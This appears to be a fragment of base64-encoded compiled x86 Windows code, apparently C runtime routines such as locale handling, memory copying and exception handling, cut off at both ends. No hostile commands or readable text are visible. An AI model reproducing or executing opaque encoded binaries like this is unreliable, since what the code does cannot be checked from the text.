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yig330AHVVi0ZQix1Q4gMQhcB0EFD/04XAdQn/dlDoJ+j//1mLRlSFwHQQUP/ThcB1Cf92VOgQ6P//WYtF8INmVACDZkwAiUZQiX5Ii8frWjPAUFBQUFDo/EgAAP918Ojm5///i0ZQiz1Q4gMQM9tZO8N0EFD/14XAdQn/dlDox+f//1mLRlQ7w3QQUP/XhcB1Cf92VOiw5///WYtGaIleVIleTIleUIleSF9bycOL/1WL7IHstAAAAKHQBgUQM8WJRfyLRQxTVot1CFeLfRSJhWT///+LRRiJvVz///+JhWD////oA1IAAI2IxAAAAImNVP///42IyAAAAI2YvAAAAAVLAQAAiY1Y////iYVo////hfYPhKQBAACDvWT///8AD4SXAQAAg30QAA+EjQEAAIA+Q3VTgH4BAHVNaOzkAxD/dRD/tWT////oa0gAAIPEDIXAdSeF/3QLZokHZolHAmaJRwSLhWD///+FwHQDgyAAi4Vk////6UMBAAAzwFBQUFBQ6M9HAABW6GoVAAC/gwAAAFmJhVD///87x3MsVv+1aP///+juVAAAWVmFwA+EowAAAFb/tVj////o2FQAAFlZhcAPhI0AAACDpUz///8AjYVs////VlDo4Pv//1lZhcAPhdUAAACNhWz///9QU1Do7J8AAIPEDIXAD4S8AAAAD7dDBIuNVP///4kBjYVs////UFf/tWj////ovfz//4PEDIA+AHQKi4VQ////O8dyC4uFTP///750FwQQQFBWV/+1WP///+hUmQAAg8QQhcAPhSX///8z9jm1XP///3QRagZT/7Vc////6BkVAACDxAw5tWD///90FmoE/7VU/////7Vg////6PsUAACDxAz/tWj/////dRD/tWT////oFUcAAIPEDIXAdQiLhWj////rDFZWVlZW6cb+//8zwItN/F9eM81b6CHg///Jw4v/VYvsgezIAQAAodAGBRAzxYlF/ItFCFOL2VeJnXD+//+JhWj+///o8E8AAIv4U42FXP7//1CNhVD+//9QaIMAAACNhXj///9Q/7Vo/v//6Ir9//+DxBiFwHUQM8CLTfxfM81b6LXf///Jw8HjBAPe/3NIjYV4////UOhKUwAAWVmFwHUFi0NI69ONhXj///9Q6JMTAACDwAVQiYV0/v//6AUsAABZWYmFbP7//4XAdKqLQ0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